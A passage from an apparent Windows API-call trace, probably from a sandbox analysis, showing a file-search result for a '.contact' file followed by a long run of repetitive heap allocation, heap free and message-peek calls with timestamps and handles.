ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0125.064] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0125.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0125.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f448 | out: hHeap=0x5c0000) returned 1 [0125.064] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0125.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f448 [0125.064] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0125.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.064] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.064] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.065] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.065] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.066] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.066] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.067] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.067] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.068] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.068] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.069] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.069] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.070] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.070] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.071] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0125.071] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 